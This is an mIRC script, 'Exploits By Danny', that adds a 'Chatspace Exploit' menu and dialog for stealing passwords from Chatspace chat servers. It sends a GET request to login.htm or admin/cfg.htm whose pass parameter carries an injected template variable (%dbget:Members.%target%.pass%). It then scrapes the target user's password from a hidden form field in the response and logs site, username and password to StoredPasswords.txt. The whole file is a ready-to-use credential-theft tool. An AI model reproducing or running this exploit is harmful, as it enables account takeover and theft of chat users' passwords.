alias csexploit1 { dialog -v,-md csexploit1 csexploit1 }

dialog csexploit1 {
  title "Exploits By Danny"
  size -1 -1 187 192
  option dbu
  text "Type Of Exploit", 2, 53 1 65 8
  check "", 3, 29 12 7 7
  text "Default Page", 4, 39 12 55 8
  check "", 5, 104 12 7 7
  text "Admin Page", 6, 114 12 40 7
  text "Server's ip/link", 7, 56 110 65 7
  text "Port", 8, 135 110 25 7
  edit "server.chat.com", 9, 34 120 95 10
  edit "8000", 10, 134 120 25 10
  text "Username to Exploit", 11, 46 136 51 7
  edit "", 12, 34 147 86 10
  button "Execute Exploit", 13, 128 147 54 10
  button "Saved Passwords", 15, 55 168 60 10
  edit "", 14, 19 24 145 79, autohs autovs multi return hsbar vsbar
}
on *:dialog:csexploit1:init:*:{
  dll Dll/mdx.dll SetMircVersion $version
  dll Dll/mdx.dll MarkDialog $dname
  dll $mdx SetDialog $dname BGColor $color(1)
  dll $mdx SetColor $dname 1,2,3,4,5,6,7,8,9,10,11,12,13,15 background $color(1)
  dll $mdx SetColor $dname 14 background $color(1)
  dll $mdx SetColor $dname 1,2,3,4,5,6,7,8,9,10,11,12,13,15 textbg $color(1)
  dll $mdx SetColor $dname 14 textbg $color(1)
  dll $mdx SetColor $dname 2 text $color(4)
  dll $mdx SetColor $dname 4,6 text $color(4)
  dll $mdx SetColor $dname 7,8,9,10 text $color(12)
  dll $mdx SetColor $dname 11,12 text $color(4)
  dll $mdx SetColor $dname 14 text $color(8)
  did -c $dname 3 | set %typeofexploit login.htm
}
on *:dialog:csexploit1:sclick:3:{
  set %typeofexploit login.htm
  did -u $dname 5
}
on *:dialog:csexploit1:sclick:5:{
  set %typeofexploit admin/cfg.htm
  did -u $dname 3
}
on *:dialog:csexploit1:sclick:13:{
  set %expnick $did(12,seltext)
  set %expnickcs12 $did(9,seltext)
  set %expnickcs123 $did(10,seltext)
  exploit
}
on *:dialog:csexploit1:sclick:15:{
  set %fileexp StoredPasswords.txt
  did -ra $dname 14
  if (%fileexp) { .loadbuf 0 -o $dname 14 " $+ %fileexp $+ "
    set %fileexpx mIRC notepad :: $nopath(" $+ %fileexp $+ ")
    dialog -t $dname %fileexpx
  }
}

alias exploit {
  sockopen exploit %expnickcs12 %expnickcs123
}
on *:sockopen:exploit:{
  sockwrite -n $sockname GET / $+ %typeofexploit $+ ?target= $+ %expnick $+ &nick= $+ %expnick $+ &pass=%dbget:Members.%target%.pass%
}
on *:SOCKREAD:exploit: {
  sockread %temp
  if (<input type="hidden" name="resumeopts" value="target= isin %temp) {
    set %expnick1 $gettok(%temp,7,61)
    did -a csexploit1 14 $crlf Site: %expnickcs12 $+ : $+ %expnickcs123 $crlf
    did -a csexploit1 14 User: %expnick $crlf
    if (%expnick1 == ">) { did -a csexploit1 14 Pass: Not Registered }
    else { did -a csexploit1 14 Pass: $remove(%expnick1,",>) $crlf
      write StoredPasswords.txt Site: %expnickcs12 $+ : $+ %expnickcs123 $crlf UserName: %expnick $crlf PassWord: $remove(%expnick1,",>) $crlf
    }
  }
}
menu channel,menubar {
  -
  [-[-Chatspace Exploit-]-]:/csexploit1